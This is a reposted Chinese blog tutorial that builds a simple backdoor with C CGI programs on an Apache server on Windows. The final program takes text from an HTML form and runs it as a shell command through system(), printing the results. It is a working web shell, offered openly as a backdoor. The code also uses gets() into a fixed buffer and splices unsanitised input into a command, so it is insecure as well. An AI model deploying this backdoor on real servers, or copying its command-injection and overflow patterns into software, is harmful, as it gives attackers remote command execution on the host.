码迷,mamicode.com
首页 > 其他好文 > 详细

一步一步教你使用CGI实现一个简单的后门

时间:2014-11-21 18:54:33      阅读:265      评论:0      收藏:0      [点我收藏+]

标签:style   blog   http   io   ar   color   os   使用   sp   

程序实例1:使用CGI实现文件定向操作

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    //设置HTML语言
    printf("Content-type:text/html\n\n");

    //文件定向操作
    char* str = "ipconfig > 1.txt";

    system(str);
}

将上面的代码编译成的exe文件拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中,并且将exe从命名为system.cgi

在Apache服务器中执行system.cgi

执行方式请参考:开发基于Apache服务器上的CGI程序

执行成功后会看到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin文件中生成了一个1.txt文件

bubuko.com,布布扣

打开1.txt后可以看到1.txt中记录的是本机的ip信息

bubuko.com,布布扣

这就是文件定位操作,将ip信息保存到一个文本中


程序实例2:使用浏览器读取1.txt中的ip信息

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    //设置HTML语言
    printf("Content-type:text/html\n\n");

    //文件定向操作
    char* str = "ipconfig > 1.txt";
    system(str);

    //以读的方式打开1.txt
    FILE* fp = fopen("1.txt", "r");

    //循环成立的条件是没有读到文件结尾
    while(!feof(fp))
    {
        //每次从文件中读取1个字符
        char ch = fgetc(fp);

        if('\n' == ch)
        {
            printf("<br><br>");
        }
        else
        {
            //打印字符
            putchar(ch);
        }
    }
}

将上面的代码编译成的exe文件拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中,并且将exe从命名为output.cgi

在浏览器上输入:http://localhost/cgi-bin/output.cgi

在浏览器上打印了ip信息

bubuko.com,布布扣


程序实例3:使用CGI实现一个简单的后门

使用记事本编辑下面的HTML代码

<form id="form" name="form" method="post" action="http://localhost/cgi-bin/input.cgi">
<p>
<input type="text" name="BBB" id="input" value="tasklist">
</p>
<p>
<input type="submit" name="AAA" id="submit" value="请进">
</p>
</form>

保存后将文件名修改成houmen.html,最后保存在C:\Program Files\Apache Software Foundation\Apache2.2\htdocs中


使用VS2012编译下面的代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    //设置HTML语言
    printf("Content-type:text/html\n\n");

    //打印环境变量
    printf("%s<br><br>", getenv("QUERY_STRING"));

    char szPost[256] = {0};

    //获取输入
    gets(szPost);

    //打印输入的内容
    printf("%s<br><br>", szPost);
    //BBB=tasklist&AAA=%C7%EB%BD%F8

    char *p = szPost + 4; 
    char*p1 = strchr(szPost, '&');
    *p1 = '\0';

    char cmd[256] = {0};

    //字符串映射
    sprintf(cmd, "%s > 1.txt", p);

    system(cmd);

    //以读的方式打开1.txt
    FILE* fp = fopen("1.txt", "r");

    //循环成立的条件是没有读到文件结尾
    while(!feof(fp))
    {
        //每次从文件中读取1个字符
        char ch = fgetc(fp);

        //当读取到\n时
        if('\n' == ch)
        {
            //打印换行
            printf("<br><br>");
        }
        else
        {
            //打印字符
            putchar(ch);
        }
    }
}

编译成功后,将生成的exe文件重命名为input.cgi,并且拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中

在浏览器中输入:http://localhost/houmen.html

执行结果:

bubuko.com,布布扣


单击请进后会打印出所有的进程

bubuko.com,布布扣


在输入框中输入ipconfig后单击请进会打印出所有的ip信息

bubuko.com,布布扣



一步一步教你使用CGI实现一个简单的后门

标签:style   blog   http   io   ar   color   os   使用   sp   

原文地址:http://blog.csdn.net/u010105970/article/details/41345967

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!